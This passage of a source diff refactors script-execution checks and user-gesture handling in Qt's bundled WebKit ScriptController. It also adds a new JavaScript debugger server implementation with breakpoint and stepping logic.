-    if (Event* event = shell->window()->currentEvent()) {
-        if (event->createdByDOM())
-            return false;
-
-        const AtomicString& type = event->type();
-        if ( // mouse events
-            type == eventNames().clickEvent || type == eventNames().mousedownEvent ||
-            type == eventNames().mouseupEvent || type == eventNames().dblclickEvent ||
-            // keyboard events
-            type == eventNames().keydownEvent || type == eventNames().keypressEvent ||
-            type == eventNames().keyupEvent ||
-            // other accepted events
-            type == eventNames().selectEvent || type == eventNames().changeEvent ||
-            type == eventNames().focusEvent || type == eventNames().blurEvent ||
-            type == eventNames().submitEvent)
-            return true;
-    }
+    if (Event* event = shell->window()->currentEvent())
+        return event->fromUserGesture();
     
     return false;
 }
@@ -300,7 +262,20 @@ bool ScriptController::anyPageIsProcessingUserGesture() const
     HashSet<Page*>::const_iterator end = pages.end();
     for (HashSet<Page*>::const_iterator it = pages.begin(); it != end; ++it) {
         for (Frame* frame = page->mainFrame(); frame; frame = frame->tree()->traverseNext()) {
-            if (frame->script()->processingUserGesture())
+            ScriptController* script = frame->script();
+
+            if (script->m_allowPopupsFromPlugin)
+                return true;
+
+            const ShellMap::const_iterator iterEnd = m_windowShells.end();
+            for (ShellMap::const_iterator iter = m_windowShells.begin(); iter != iterEnd; ++iter) {
+                JSDOMWindowShell* shell = iter->second.get();
+                Event* event = shell->window()->currentEvent();
+                if (event && event->fromUserGesture())
+                    return true;
+            }
+
+            if (isJavaScriptAnchorNavigation())
                 return true;
         }
     }
@@ -308,16 +283,14 @@ bool ScriptController::anyPageIsProcessingUserGesture() const
     return false;
 }
 
-bool ScriptController::isEnabled()
+void ScriptController::attachDebugger(JSC::Debugger* debugger)
 {
-    Settings* settings = m_frame->settings();
-    return (settings && settings->isJavaScriptEnabled());
+    for (ShellMap::iterator iter = m_windowShells.begin(); iter != m_windowShells.end(); ++iter)
+        attachDebugger(iter->second, debugger);
 }
 
-void ScriptController::attachDebugger(JSC::Debugger* debugger)
+void ScriptController::attachDebugger(JSDOMWindowShell* shell, JSC::Debugger* debugger)
 {
-    // FIXME: Should be able to debug isolated worlds.
-    JSDOMWindowShell* shell = existingWindowShell(debuggerWorld());
     if (!shell)
         return;
 
@@ -335,7 +308,7 @@ void ScriptController::updateDocument()
 
     JSLock lock(SilenceAssertionsOnly);
     for (ShellMap::iterator iter = m_windowShells.begin(); iter != m_windowShells.end(); ++iter)
-        iter->second->window()->updateDocument(iter->first);
+        iter->second->window()->updateDocument();
 }
 
 void ScriptController::updateSecurityOrigin()
@@ -345,7 +318,7 @@ void ScriptController::updateSecurityOrigin()
 
 Bindings::RootObject* ScriptController::bindingRootObject()
 {
-    if (!isEnabled())
+    if (!canExecuteScripts(NotAboutToExecuteScript))
         return 0;
 
     if (!m_bindingRootObject) {
@@ -372,7 +345,7 @@ PassRefPtr<Bindings::RootObject> ScriptController::createRootObject(void* native
 NPObject* ScriptController::windowScriptNPObject()
 {
     if (!m_windowScriptNPObject) {
-        if (isEnabled()) {
+        if (canExecuteScripts(NotAboutToExecuteScript)) {
             // JavaScript is enabled, so there is a JavaScript window object.
             // Return an NPObject bound to the window object.
             JSC::JSLock lock(SilenceAssertionsOnly);
@@ -405,7 +378,7 @@ NPObject* ScriptController::createScriptObjectForPluginElement(HTMLPlugInElement
 JSObject* ScriptController::jsObjectForPluginElement(HTMLPlugInElement* plugin)
 {
     // Can't create JSObjects when JavaScript is disabled
-    if (!isEnabled())
+    if (!canExecuteScripts(NotAboutToExecuteScript))
         return 0;
 
     // Create a JSObject bound to this element
@@ -468,31 +441,11 @@ void ScriptController::clearScriptObjects()
 #endif
 }
 
-ScriptValue ScriptController::executeScriptInIsolatedWorld(unsigned worldID, const String& script, bool forceUserGesture)
-{
-    ScriptSourceCode sourceCode(script, forceUserGesture ? KURL() : m_frame->loader()->url());
-
-    if (!isEnabled() || isPaused())
-        return ScriptValue();
-
-    bool wasInExecuteScript = m_inExecuteScript;
-    m_inExecuteScript = true;
-
-    ScriptValue result = evaluateInIsolatedWorld(worldID, sourceCode);
-
-    if (!wasInExecuteScript) {
-        m_inExecuteScript = false;
-        Document::updateStyleForAllDocuments();
-    }
-
-    return result;
-}
-
-ScriptValue ScriptController::executeScriptInIsolatedWorld(DOMWrapperWorld* world, const String& script, bool forceUserGesture)
+ScriptValue ScriptController::executeScriptInWorld(DOMWrapperWorld* world, const String& script, bool forceUserGesture)
 {
     ScriptSourceCode sourceCode(script, forceUserGesture ? KURL() : m_frame->loader()->url());
 
-    if (!isEnabled() || isPaused())
+    if (!canExecuteScripts(AboutToExecuteScript) || isPaused())
         return ScriptValue();
 
     bool wasInExecuteScript = m_inExecuteScript;
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptController.h b/src/3rdparty/webkit/WebCore/bindings/js/ScriptController.h
index f2a497d..6af1736 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/ScriptController.h
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptController.h
@@ -62,13 +62,21 @@ class XSSAuditor;
 
 typedef HashMap<void*, RefPtr<JSC::Bindings::RootObject> > RootObjectMap;
 
+enum ReasonForCallingCanExecuteScripts {
+    AboutToExecuteScript,
+    NotAboutToExecuteScript
+};
+
 class ScriptController {
-    typedef WTF::HashMap<DOMWrapperWorld*, JSC::ProtectedPtr<JSDOMWindowShell> > ShellMap;
+    friend class ScriptCachedFrameData;
+    typedef WTF::HashMap< RefPtr<DOMWrapperWorld>, JSC::ProtectedPtr<JSDOMWindowShell> > ShellMap;
 
 public:
     ScriptController(Frame*);
     ~ScriptController();
 
+    static PassRefPtr<DOMWrapperWorld> createWorld();
+
     JSDOMWindowShell* windowShell(DOMWrapperWorld* world)
     {
         ShellMap::iterator iter = m_windowShells.find(world);
@@ -83,17 +91,12 @@ public:
     {
         return windowShell(world)->window();
     }
-    JSDOMWindow* globalObject(unsigned worldID);
 
-    void forgetWorld(DOMWrapperWorld* world)
-    {
-        m_windowShells.remove(world);
-    }
+    static void getAllWorlds(Vector<DOMWrapperWorld*>&);
 
     ScriptValue executeScript(const ScriptSourceCode&);
     ScriptValue executeScript(const String& script, bool forceUserGesture = false);
-    ScriptValue executeScriptInIsolatedWorld(unsigned worldID, const String& script, bool forceUserGesture = false);
-    ScriptValue executeScriptInIsolatedWorld(DOMWrapperWorld* world, const String& script, bool forceUserGesture = false);
+    ScriptValue executeScriptInWorld(DOMWrapperWorld* world, const String& script, bool forceUserGesture = false);
 
     // Returns true if argument is a JavaScript URL.
     bool executeIfJavaScriptURL(const KURL&, bool userGesture = false, bool replaceDocument = true);
@@ -104,19 +107,19 @@ public:
 
     ScriptValue evaluate(const ScriptSourceCode&);
     ScriptValue evaluateInWorld(const ScriptSourceCode&, DOMWrapperWorld*);
-    ScriptValue evaluateInIsolatedWorld(unsigned /*worldID*/, const ScriptSourceCode&);
-    void evaluateInIsolatedWorld(unsigned /*worldID*/, const Vector<ScriptSourceCode>&);
 
     void setEventHandlerLineNumber(int lineno) { m_handlerLineNumber = lineno; }
     int eventHandlerLineNumber() { return m_handlerLineNumber; }
 
     void setProcessingTimerCallback(bool b) { m_processingTimerCallback = b; }
-    bool processingUserGesture() const;
+    bool processingUserGesture(DOMWrapperWorld*) const;
     bool anyPageIsProcessingUserGesture() const;
 
-    bool isEnabled();
+    bool canExecuteScripts(ReasonForCallingCanExecuteScripts);
 
-    void attachDebugger(JSC::Debugger*);
+    // Debugger can be 0 to detach any existing Debugger.
+    void attachDebugger(JSC::Debugger*); // Attaches/detaches in all worlds/window shells.
+    void attachDebugger(JSDOMWindowShell*, JSC::Debugger*);
 
     void setPaused(bool b) { m_paused = b; }
     bool isPaused() const { return m_paused; }
@@ -166,7 +169,7 @@ private:
 
     void disconnectPlatformScriptObjects();
 
-    bool processingUserGestureEvent() const;
+    bool processingUserGestureEvent(DOMWrapperWorld*) const;
     bool isJavaScriptAnchorNavigation() const;
 
     ShellMap m_windowShells;
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptControllerBrew.cpp b/src/3rdparty/webkit/WebCore/bindings/js/ScriptControllerBrew.cpp
new file mode 100644
index 0000000..d8d345a
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptControllerBrew.cpp
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2008 Apple Computer, Inc.
+ * Copyright (C) 2009 Company 100, Inc.
+ *
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+#include "ScriptController.h"
+
+#include "Bridge.h"
+#include "PluginView.h"
+#include "runtime_root.h"
+
+namespace WebCore {
+
+PassRefPtr<JSC::Bindings::Instance> ScriptController::createScriptInstanceForWidget(WebCore::Widget* widget)
+{
+    if (!widget->isPluginView())
+        return 0;
+
+    return static_cast<PluginView*>(widget)->bindingInstance();
+
+}
+
+} // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptControllerGtk.cpp b/src/3rdparty/webkit/WebCore/bindings/js/ScriptControllerGtk.cpp
index c906034..6ffae69 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/ScriptControllerGtk.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptControllerGtk.cpp
@@ -31,9 +31,9 @@
 #include "config.h"
 #include "ScriptController.h"
 
+#include "Bridge.h"
 #include "PluginView.h"
 #include "runtime_root.h"
-#include "runtime.h"
 
 namespace WebCore {
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptControllerHaiku.cpp b/src/3rdparty/webkit/WebCore/bindings/js/ScriptControllerHaiku.cpp
index 3fe471d..a1f1590 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/ScriptControllerHaiku.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptControllerHaiku.cpp
@@ -27,8 +27,8 @@
 #include "config.h"
 #include "ScriptController.h"
 
+#include "Bridge.h"
 #include "PluginView.h"
-#include "runtime.h"
 #include "runtime_root.h"
 
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptControllerMac.mm b/src/3rdparty/webkit/WebCore/bindings/js/ScriptControllerMac.mm
index 21ec0f2..a895489 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/ScriptControllerMac.mm
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptControllerMac.mm
@@ -29,6 +29,7 @@
 #import "config.h"
 #import "ScriptController.h"
 
+#import "Bridge.h"
 #import "DOMAbstractViewFrame.h"
 #import "DOMWindow.h"
 #import "Frame.h"
@@ -37,6 +38,8 @@
 #import "JSDOMWindow.h"
 #import "WebScriptObjectPrivate.h"
 #import "Widget.h"
+#import "objc_instance.h"
+#import "runtime_root.h"
 #import <JavaScriptCore/APICast.h>
 #import <runtime/JSLock.h>
 
@@ -46,12 +49,8 @@
 #import "npruntime_impl.h"
 #endif
 
-#import "objc_instance.h"
-#import "runtime_root.h"
-#import "runtime.h"
-
 #if ENABLE(MAC_JAVA_BRIDGE)
-#import "jni_instance.h"
+#import "JavaInstanceJSC.h"
 #endif
 
 @interface NSObject (WebPlugin)
@@ -108,7 +107,7 @@ PassScriptInstance ScriptController::createScriptInstanceForWidget(Widget* widge
 
 WebScriptObject* ScriptController::windowScriptObject()
 {
-    if (!isEnabled())
+    if (!canExecuteScripts(NotAboutToExecuteScript))
         return 0;
 
     if (!m_windowScriptObject) {
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptControllerQt.cpp b/src/3rdparty/webkit/WebCore/bindings/js/ScriptControllerQt.cpp
index 6b14190..55d4ba4 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/ScriptControllerQt.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptControllerQt.cpp
@@ -36,11 +36,11 @@
 #include "config.h"
 #include "ScriptController.h"
 
+#include "Bridge.h"
 #include "DOMWindow.h"
 #include "PluginView.h"
 #include "qt_instance.h"
 #include "runtime_root.h"
-#include "runtime.h"
 
 #include <QWidget>
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptControllerWin.cpp b/src/3rdparty/webkit/WebCore/bindings/js/ScriptControllerWin.cpp
index 703cf7c..e0a959e 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/ScriptControllerWin.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptControllerWin.cpp
@@ -27,8 +27,8 @@
 #include "config.h"
 #include "ScriptController.h"
 
+#include "Bridge.h"
 #include "PluginView.h"
-#include "runtime.h"
 
 using namespace JSC::Bindings;
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptControllerWx.cpp b/src/3rdparty/webkit/WebCore/bindings/js/ScriptControllerWx.cpp
index 1c14928..1d7b4ca 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/ScriptControllerWx.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptControllerWx.cpp
@@ -27,9 +27,9 @@
 #include "config.h"
 #include "ScriptController.h"
 
+#include "Bridge.h"
 #include "PluginView.h"
 #include "runtime_root.h"
-#include "runtime.h"
 
 namespace WebCore {
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptDebugServer.cpp b/src/3rdparty/webkit/WebCore/bindings/js/ScriptDebugServer.cpp
new file mode 100644
index 0000000..5305da3
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptDebugServer.cpp
@@ -0,0 +1,586 @@
+/*
+ * Copyright (C) 2008, 2009 Apple Inc. All rights reserved.
+ * Copyright (C) 2010 Google Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1.  Redistributions of source code must retain the above copyright
+ *     notice, this list of conditions and the following disclaimer.
+ * 2.  Redistributions in binary form must reproduce the above copyright
+ *     notice, this list of conditions and the following disclaimer in the
+ *     documentation and/or other materials provided with the distribution.
+ * 3.  Neither the name of Apple Computer, Inc. ("Apple") nor the names of
+ *     its contributors may be used to endorse or promote products derived
+ *     from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+ * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+#include "ScriptDebugServer.h"
+
+#if ENABLE(JAVASCRIPT_DEBUGGER)
+
+#include "DOMWindow.h"
+#include "EventLoop.h"
+#include "Frame.h"
+#include "FrameTree.h"
+#include "FrameView.h"
+#include "JSDOMWindowCustom.h"
+#include "JavaScriptCallFrame.h"
+#include "Page.h"
+#include "PageGroup.h"
+#include "PluginView.h"
+#include "ScriptBreakpoint.h"
+#include "ScriptController.h"
+#include "ScriptDebugListener.h"
+#include "ScrollView.h"
+#include "Widget.h"
+#include <debugger/DebuggerCallFrame.h>
+#include <parser/SourceCode.h>
+#include <runtime/JSLock.h>
+#include <wtf/MainThread.h>
+#include <wtf/StdLibExtras.h>
+#include <wtf/UnusedParam.h>
+
+using namespace JSC;
+
+namespace WebCore {
+
+ScriptDebugServer& ScriptDebugServer::shared()
+{
+    DEFINE_STATIC_LOCAL(ScriptDebugServer, server, ());
+    return server;
+}
+
+ScriptDebugServer::ScriptDebugServer()
+    : m_callingListeners(false)
+    , m_pauseOnExceptionsState(DontPauseOnExceptions)
+    , m_pauseOnNextStatement(false)
+    , m_paused(false)
+    , m_doneProcessingDebuggerEvents(true)
+    , m_breakpointsActivated(true)
+    , m_pauseOnCallFrame(0)
+    , m_recompileTimer(this, &ScriptDebugServer::recompileAllJSFunctions)
+{
+}
+
+ScriptDebugServer::~ScriptDebugServer()
+{
+    deleteAllValues(m_pageListenersMap);
+}
+
+void ScriptDebugServer::addListener(ScriptDebugListener* listener, Page* page)
+{
+    ASSERT_ARG(listener, listener);
+    ASSERT_ARG(page, page);
+
+    pair<PageListenersMap::iterator, bool> result = m_pageListenersMap.add(page, 0);
+    if (result.second)
+        result.first->second = new ListenerSet;
+
+    ListenerSet* listeners = result.first->second;
+    listeners->add(listener);
+
+    didAddListener(page);
+}
+
+void ScriptDebugServer::removeListener(ScriptDebugListener* listener, Page* page)
+{
+    ASSERT_ARG(listener, listener);
+    ASSERT_ARG(page, page);
+
+    PageListenersMap::iterator it = m_pageListenersMap.find(page);
+    if (it == m_pageListenersMap.end())
+        return;
+
+    ListenerSet* listeners = it->second;
+    listeners->remove(listener);
+    if (listeners->isEmpty()) {
+        m_pageListenersMap.remove(it);
+        delete listeners;
+    }
+
+    didRemoveListener(page);
+    if (!hasListeners())
+        didRemoveLastListener();
+}
+
+void ScriptDebugServer::pageCreated(Page* page)
+{
+    ASSERT_ARG(page, page);
+
+    if (!hasListenersInterestedInPage(page))
+        return;
+    page->setDebugger(this);
+}
+
+bool ScriptDebugServer::hasListenersInterestedInPage(Page* page)
+{
+    ASSERT_ARG(page, page);
+
+    if (hasGlobalListeners())
+        return true;
+
+    return m_pageListenersMap.contains(page);
+}
+
+void ScriptDebugServer::setBreakpoint(const String& sourceID, unsigned lineNumber, ScriptBreakpoint breakpoint)
+{
+    intptr_t sourceIDValue = sourceID.toIntPtr();
+    BreakpointsMap::iterator it = m_breakpoints.find(sourceIDValue);
+    if (it == m_breakpoints.end())
+        it = m_breakpoints.set(sourceIDValue, SourceBreakpoints()).first;
+    it->second.set(lineNumber, breakpoint);
+}
+
+void ScriptDebugServer::removeBreakpoint(const String& sourceID, unsigned lineNumber)
+{
+    intptr_t sourceIDValue = sourceID.toIntPtr();
+    BreakpointsMap::iterator it = m_breakpoints.find(sourceIDValue);
+    if (it != m_breakpoints.end())
+        it->second.remove(lineNumber);
+}
+
+bool ScriptDebugServer::hasBreakpoint(intptr_t sourceID, unsigned lineNumber) const
+{
+    if (!m_breakpointsActivated)
+        return false;
+
+    BreakpointsMap::const_iterator it = m_breakpoints.find(sourceID);
+    if (it == m_breakpoints.end())
+        return false;
+    SourceBreakpoints::const_iterator breakIt = it->second.find(lineNumber);
+    if (breakIt == it->second.end() || !breakIt->second.enabled)
+        return false;
+
+    // An empty condition counts as no condition which is equivalent to "true".
+    if (breakIt->second.condition.isEmpty())
+        return true;
+
+    JSValue exception;
+    JSValue result = m_currentCallFrame->evaluate(breakIt->second.condition, exception);
+    if (exception) {
+        // An erroneous condition counts as "false".
+        return false;
+    }
+    return result.toBoolean(m_currentCallFrame->scopeChain()->globalObject->globalExec());
+}
+
+void ScriptDebugServer::clearBreakpoints()
+{
+    m_breakpoints.clear();
+}
+
+void ScriptDebugServer::setBreakpointsActivated(bool activated)
+{
+    m_breakpointsActivated = activated;
+}
+
+void ScriptDebugServer::setPauseOnExceptionsState(PauseOnExceptionsState pause)
+{
+    m_pauseOnExceptionsState = pause;
+}
+
+void ScriptDebugServer::pauseProgram()
+{
+    m_pauseOnNextStatement = true;
+}
+
+void ScriptDebugServer::continueProgram()
+{
+    if (!m_paused)
+        return;
+
+    m_pauseOnNextStatement = false;
+    m_doneProcessingDebuggerEvents = true;
+}
+
+void ScriptDebugServer::stepIntoStatement()
+{
+    if (!m_paused)
+        return;
+
+    m_pauseOnNextStatement = true;
+    m_doneProcessingDebuggerEvents = true;
+}
+
+void ScriptDebugServer::stepOverStatement()
+{
+    if (!m_paused)
+        return;
+
+    m_pauseOnCallFrame = m_currentCallFrame.get();
+    m_doneProcessingDebuggerEvents = true;
+}
+
+void ScriptDebugServer::stepOutOfFunction()
+{
+    if (!m_paused)
+        return;
+
+    m_pauseOnCallFrame = m_currentCallFrame ? m_currentCallFrame->caller() : 0;
+    m_doneProcessingDebuggerEvents = true;
+}
+
+JavaScriptCallFrame* ScriptDebugServer::currentCallFrame()
+{
+    if (!m_paused)
+        return 0;
+    return m_currentCallFrame.get();
+}
+
+ScriptState* ScriptDebugServer::currentCallFrameState()
+{
+    if (!m_paused)
+        return 0;
+    return m_currentCallFrame->scopeChain()->globalObject->globalExec();        
+}
+
+void ScriptDebugServer::dispatchDidParseSource(const ListenerSet& listeners, const JSC::SourceCode& source)
+{
+    String sourceID = JSC::UString(JSC::UString::from(source.provider()->asID()));
+    String url = source.provider()->url();
+    String data = JSC::UString(source.data(), source.length());
+    int firstLine = source.firstLine();
+
+    Vector<ScriptDebugListener*> copy;
+    copyToVector(listeners, copy);
+    for (size_t i = 0; i < copy.size(); ++i)
+        copy[i]->didParseSource(sourceID, url, data, firstLine);
+}
+
+void ScriptDebugServer::dispatchFailedToParseSource(const ListenerSet& listeners, const SourceCode& source, int errorLine, const String& errorMessage)
+{
+    String url = source.provider()->url();
+    String data = JSC::UString(source.data(), source.length());
+    int firstLine = source.firstLine();
+
+    Vector<ScriptDebugListener*> copy;
+    copyToVector(listeners, copy);
+    for (size_t i = 0; i < copy.size(); ++i)
+        copy[i]->failedToParseSource(url, data, firstLine, errorLine, errorMessage);
+}
+
+static Page* toPage(JSGlobalObject* globalObject)
+{
+    ASSERT_ARG(globalObject, globalObject);
+
+    JSDOMWindow* window = asJSDOMWindow(globalObject);
+    Frame* frame = window->impl()->frame();
+    return frame ? frame->page() : 0;
+}
+
+void ScriptDebugServer::detach(JSGlobalObject* globalObject)
+{
+    // If we're detaching from the currently executing global object, manually tear down our
+    // stack, since we won't get further debugger callbacks to do so. Also, resume execution,
+    // since there's no point in staying paused once a window closes.
+    if (m_currentCallFrame && m_currentCallFrame->dynamicGlobalObject() == globalObject) {
+        m_currentCallFrame = 0;
+        m_pauseOnCallFrame = 0;
+        continueProgram();
+    }
+    Debugger::detach(globalObject);
+}
+
+void ScriptDebugServer::sourceParsed(ExecState* exec, const SourceCode& source, int errorLine, const UString& errorMessage)
+{
+    if (m_callingListeners)
+        return;
+
+    Page* page = toPage(exec->dynamicGlobalObject());
+    if (!page)
+        return;
+
+    m_callingListeners = true;
+
+    bool isError = errorLine != -1;
+
+    if (hasGlobalListeners()) {
+        if (isError)
+            dispatchFailedToParseSource(m_listeners, source, errorLine, errorMessage);
+        else
+            dispatchDidParseSource(m_listeners, source);
+    }
+
+    if (ListenerSet* pageListeners = m_pageListenersMap.get(page)) {
+        ASSERT(!pageListeners->isEmpty());
+        if (isError)
+            dispatchFailedToParseSource(*pageListeners, source, errorLine, errorMessage);
+        else
+            dispatchDidParseSource(*pageListeners, source);
+    }
+
+    m_callingListeners = false;
+}
+
+void ScriptDebugServer::dispatchFunctionToListeners(const ListenerSet& listeners, JavaScriptExecutionCallback callback)
+{
+    Vector<ScriptDebugListener*> copy;
+    copyToVector(listeners, copy);
+    for (size_t i = 0; i < copy.size(); ++i)
+        (copy[i]->*callback)();
+}
+
+void ScriptDebugServer::dispatchFunctionToListeners(JavaScriptExecutionCallback callback, Page* page)
+{
+    if (m_callingListeners)
+        return;
+
+    m_callingListeners = true;
+
+    ASSERT(hasListeners());
+
+    dispatchFunctionToListeners(m_listeners, callback);
+
+    if (ListenerSet* pageListeners = m_pageListenersMap.get(page)) {
+        ASSERT(!pageListeners->isEmpty());
+        dispatchFunctionToListeners(*pageListeners, callback);
+    }
+
+    m_callingListeners = false;
+}
+
+void ScriptDebugServer::setJavaScriptPaused(const PageGroup& pageGroup, bool paused)
+{
+    setMainThreadCallbacksPaused(paused);
+
+    const HashSet<Page*>& pages = pageGroup.pages();
+
+    HashSet<Page*>::const_iterator end = pages.end();
+    for (HashSet<Page*>::const_iterator it = pages.begin(); it != end; ++it)
+        setJavaScriptPaused(*it, paused);
+}
+
+void ScriptDebugServer::setJavaScriptPaused(Page* page, bool paused)
+{
+    ASSERT_ARG(page, page);
+
+    page->setDefersLoading(paused);
+
+    for (Frame* frame = page->mainFrame(); frame; frame = frame->tree()->traverseNext())
+        setJavaScriptPaused(frame, paused);
+}
+
+void ScriptDebugServer::setJavaScriptPaused(Frame* frame, bool paused)
+{
+    ASSERT_ARG(frame, frame);
+
+    if (!frame->script()->canExecuteScripts(NotAboutToExecuteScript))
+        return;
+
+    frame->script()->setPaused(paused);
+
+    Document* document = frame->document();
+    if (paused)
+        document->suspendActiveDOMObjects();
+    else
+        document->resumeActiveDOMObjects();
+
+    setJavaScriptPaused(frame->view(), paused);
+}
+
+void ScriptDebugServer::setJavaScriptPaused(FrameView* view, bool paused)
+{
+    if (!view)
+        return;
+
+    const HashSet<RefPtr<Widget> >* children = view->children();
+    ASSERT(children);
+
+    HashSet<RefPtr<Widget> >::const_iterator end = children->end();
+    for (HashSet<RefPtr<Widget> >::const_iterator it = children->begin(); it != end; ++it) {
+        Widget* widget = (*it).get();
+        if (!widget->isPluginView())
+            continue;
+        static_cast<PluginView*>(widget)->setJavaScriptPaused(paused);
+    }
+}
+
+void ScriptDebugServer::pauseIfNeeded(Page* page)
+{
+    if (m_paused)
+        return;
+
+    if (!page || !hasListenersInterestedInPage(page))
+        return;
+
+    bool pauseNow = m_pauseOnNextStatement;
+    pauseNow |= (m_pauseOnCallFrame == m_currentCallFrame);
+    pauseNow |= (m_currentCallFrame->line() > 0 && hasBreakpoint(m_currentCallFrame->sourceID(), m_currentCallFrame->line()));
+    if (!pauseNow)
+        return;
+
+    m_pauseOnCallFrame = 0;
+    m_pauseOnNextStatement = false;
+    m_paused = true;
+
+    dispatchFunctionToListeners(&ScriptDebugListener::didPause, page);
+
+    setJavaScriptPaused(page->group(), true);
+
+    TimerBase::fireTimersInNestedEventLoop();
+
+    EventLoop loop;
+    m_doneProcessingDebuggerEvents = false;
+    while (!m_doneProcessingDebuggerEvents && !loop.ended())
+        loop.cycle();
+
+    setJavaScriptPaused(page->group(), false);
+
+    m_paused = false;
+
+    dispatchFunctionToListeners(&ScriptDebugListener::didContinue, page);
+}
+
+void ScriptDebugServer::callEvent(const DebuggerCallFrame& debuggerCallFrame, intptr_t sourceID, int lineNumber)
+{
+    if (m_paused)
+        return;
+
+    m_currentCallFrame = JavaScriptCallFrame::create(debuggerCallFrame, m_currentCallFrame, sourceID, lineNumber);
+    pauseIfNeeded(toPage(debuggerCallFrame.dynamicGlobalObject()));
+}
+
+void ScriptDebugServer::atStatement(const DebuggerCallFrame& debuggerCallFrame, intptr_t sourceID, int lineNumber)
+{
+    if (m_paused)
+        return;
+
+    ASSERT(m_currentCallFrame);
+    if (!m_currentCallFrame)
+        return;
+
+    m_currentCallFrame->update(debuggerCallFrame, sourceID, lineNumber);
+    pauseIfNeeded(toPage(debuggerCallFrame.dynamicGlobalObject()));
+}
+
+void ScriptDebugServer::returnEvent(const DebuggerCallFrame& debuggerCallFrame, intptr_t sourceID, int lineNumber)
+{
+    if (m_paused)
+        return;
+
+    ASSERT(m_currentCallFrame);
+    if (!m_currentCallFrame)
+        return;
+
+    m_currentCallFrame->update(debuggerCallFrame, sourceID, lineNumber);
+    pauseIfNeeded(toPage(debuggerCallFrame.dynamicGlobalObject()));
+
+    // Treat stepping over a return statement like stepping out.
+    if (m_currentCallFrame == m_pauseOnCallFrame)
+        m_pauseOnCallFrame = m_currentCallFrame->caller();
+    m_currentCallFrame = m_currentCallFrame->caller();
+}
+
+void ScriptDebugServer::exception(const DebuggerCallFrame& debuggerCallFrame, intptr_t sourceID, int lineNumber, bool hasHandler)
+{
+    if (m_paused)
+        return;
+
+    ASSERT(m_currentCallFrame);
+    if (!m_currentCallFrame)
+        return;
+
+    if (m_pauseOnExceptionsState == PauseOnAllExceptions || (m_pauseOnExceptionsState == PauseOnUncaughtExceptions && !hasHandler))
+        m_pauseOnNextStatement = true;
+
+    m_currentCallFrame->update(debuggerCallFrame, sourceID, lineNumber);
